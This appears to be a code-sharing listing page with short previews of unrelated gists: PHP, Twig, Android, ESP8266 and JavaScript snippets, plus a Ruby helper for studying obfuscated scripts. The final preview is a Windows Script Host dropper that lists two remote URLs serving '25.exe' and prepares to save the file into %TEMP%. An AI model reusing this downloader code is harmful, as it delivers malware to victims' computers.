This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| {% extends 'bootstrap_4_horizontal_layout.html.twig' %} | |
| {% block form_label_errors %}{% endblock %} | |
| {% block form_row -%} | |
| {%- if expanded is defined and expanded -%} | |
| {{ block('fieldset_form_row') }} | |
| {%- else -%} | |
| <div class="form-group row{% if (not compound or force_error|default(false)) and not valid %} is-invalid{% endif %}"> | |
| {{- form_label(form) -}} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| namespace App\Entity; | |
| use Doctrine\ORM\Mapping as ORM; | |
| /** | |
| * @ORM\Entity(repositoryClass="App\Repository\ExampleRepository") | |
| * @ORM\HasLifecycleCallbacks() | |
| * @ORM\Table("examples") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import android.annotation.SuppressLint; | |
| import android.media.MediaCodec; | |
| import android.media.MediaExtractor; | |
| import android.media.MediaFormat; | |
| import android.media.MediaMetadataRetriever; | |
| import android.media.MediaMuxer; | |
| import android.util.Log; | |
| import java.io.IOException; | |
| import java.nio.ByteBuffer; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <ESP8266WiFi.h> | |
| int PIN_N = 15; // pin on which LED is connected | |
| int PIN_MODE = LOW; | |
| int SERIAL_BAUD = 115200; | |
| const char* WIFI_SSID = "ESP8266"; // your WiFi SSID | |
| const char* WIFI_PASSWORD = "nodemcutest"; // your WiFi password |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| int BLINK_SPEED_MS = 250; | |
| int PIN_N = 15; | |
| void setup() { | |
| // put your setup code here, to run once: | |
| pinMode(PIN_N, OUTPUT); | |
| } | |
| void loop() { | |
| // put your main code here, to run repeatedly: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'net/http' | |
| require 'json' | |
| require 'uri' | |
| require 'yaml' | |
| ## | |
| # Make a certain obfuscated js less obnoxious to analyze. | |
| # | |
| class Obfuscated | |
| attr_accessor :script |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * Lightweight script to detect whether the browser is running in Private mode. | |
| * @returns {Promise<boolean>} | |
| * | |
| * Live demo: | |
| * @see https://output.jsbin.com/tazuwif | |
| * | |
| * This snippet uses Promises. If you want to run it in old browsers, polyfill it: | |
| * @see https://cdn.jsdelivr.net/npm/es6-promise@4/dist/es6-promise.auto.min.js | |
| * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * @param string $plain | |
| * @param string $algo | |
| * @param int $iterations | |
| * @param int $saltlen | |
| * @param int $keylen | |
| * @return string | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import android.text.SpannableStringBuilder; | |
| import android.text.Spanned; | |
| import android.text.TextPaint; | |
| import android.text.method.LinkMovementMethod; | |
| import android.text.style.ClickableSpan; | |
| import android.view.View; | |
| import android.widget.TextView; | |
| import java.util.ArrayList; | |
| import java.util.regex.Matcher; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (function() { | |
| var urls = [ | |
| 'http://wherareyoufromff.com/25.exe', | |
| 'http://arendroukysdqq.com/25.exe' | |
| ]; | |
| var shell = WScript.CreateObject('WScript.Shell'); | |
| var xmlhttp = WScript.CreateObject('MSXML2.XMLHTTP'); | |
| var stream = WScript.CreateObject('ADODB.Stream'); | |
| var tmp = shell.ExpandEnvironmentStrings('%TEMP%\\'); | |
| var file = tmp + 4194304 + '.exe'; |